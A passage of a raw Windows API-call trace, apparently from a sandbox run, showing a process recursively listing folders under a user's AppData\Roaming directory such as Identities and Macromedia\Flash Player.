lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.285] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.285] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.286] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x53 [0068.286] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.286] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.286] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.286] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2c [0068.286] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x1e2930 [0068.286] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.287] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.287] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.287] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.287] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2c [0068.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0068.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe48df500, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe4905660, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe4905660, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0068.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.289] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2c [0068.289] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x1e2930 [0068.289] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.289] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.289] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x39 [0068.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.289] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4905660, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe4905660, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe4905660, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.289] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x39 [0068.289] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.290] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.290] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x48 [0068.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.290] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4905660, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe69c04e0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe69c04e0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x48 [0068.290] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.290] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.291] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.291] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.291] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x50 [0068.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe69c04e0, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe6ea9240, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe6ea9240, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.291] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x50 [0068.291] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.292] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.292] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.292] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.292] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5c [0068.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe6ea9240, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe6ea9240, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe6ea9240, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5c [0068.292] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x1e2930 [0068.292] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.292] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.293] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x60 [0068.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0068.293] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe6ea9240, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xe6ea9240, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0xe6ea9240, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0068.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0068.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x60 [0068.293] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x1e2930 [0068.294] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0068.294] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0068.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0068.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0068.294] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x60 [0068.294] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x1e2930 [0068.294] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0068.295] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5c [0068.295] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x1e2930 [0068.295] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.295] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.295] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.295] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x50 [0068.295] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x1e2930 [0068.296] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.296] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.296] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.296] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.296] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x48 [0068.296] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x1e2930 [0068.296] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.296] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.296] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.297] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x39 [0068.297] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x1e2930 [0068.297] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.297] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.297] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.297] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2c [0068.297] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x1e2930 [0068.298] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.298] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.298] FindNextFileW (in: hFindFile=0x1e2930, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.298] FindClose (in: hFindFile=0x1e2930 | out: hFindFile=0x1e2930) returned 1 [0068.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2b [0068.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0068.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa82ed810, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa82ed810, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0068.298] 